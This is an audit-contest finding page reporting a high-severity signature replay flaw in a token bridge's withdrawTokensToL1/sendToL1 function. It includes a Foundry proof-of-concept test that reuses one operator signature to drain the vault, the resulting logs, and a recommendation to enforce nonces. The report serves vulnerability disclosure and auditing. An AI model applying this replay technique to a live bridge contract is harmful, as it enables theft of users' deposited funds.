Beginner FriendlyFoundryBridge
100 EXP
View results
Submission Details
Severity: high
Valid

Attacker can drain bridge of tokens

Summary

Due to lack of nonce use an attacker can use the same signature multiple times to drain the contract of its tokens through the sendToL1(...) function.

Vulnerability Details

The sendToL1(...) function does not keep track of nonces for operator signed messages. That means that the signatures can be re-used over and over to withdraw funds from the bridge.

Impact

Loss of all tokens in the bridge contract

Test:

function test_UserCanDrainBridge() public {
vm.startPrank(user);
uint256 depositAmount = 10e18;
// Supply the vault with some tokens
deal(address(token), address(vault), 100e18);
console2.log("Initial user token balance (ether):", token.balanceOf(user) / 1 ether);
console2.log("Initial vault token balance (ether):", token.balanceOf(address(vault)) / 1 ether);
token.approve(address(tokenBridge), depositAmount);
// User deposits to bridge
tokenBridge.depositTokensToL2(user, userInL2, depositAmount);
// Collect signed message
(uint8 v, bytes32 r, bytes32 s) = _signMessage(_getTokenWithdrawalMessage(user, depositAmount), operator.key);
// Withdraw tokens multiple times
for (uint i; i < 11; ++i) {
tokenBridge.withdrawTokensToL1(user, depositAmount, v, r, s);
}
console2.log("Post-exploit user token balance (ether):", token.balanceOf(user) / 1 ether);
console2.log("Post-exploit vault token balance (ether):", token.balanceOf(address(vault)) / 1 ether);
}

Logs:

Logs:
Initial user token balance (ether): 1000
Initial vault token balance (ether): 100
Post-exploit user token balance (ether): 1100
Post-exploit vault token balance (ether): 0

Tools Used

Manual review
Foundry

Recommendations

Enforce nonce verification for operator signed messages that get incremented upon valid withdrawal.

Updates

Lead Judging Commences

0xnevi Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

withdrawTokensToL1()/sendToL1(): signature replay

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.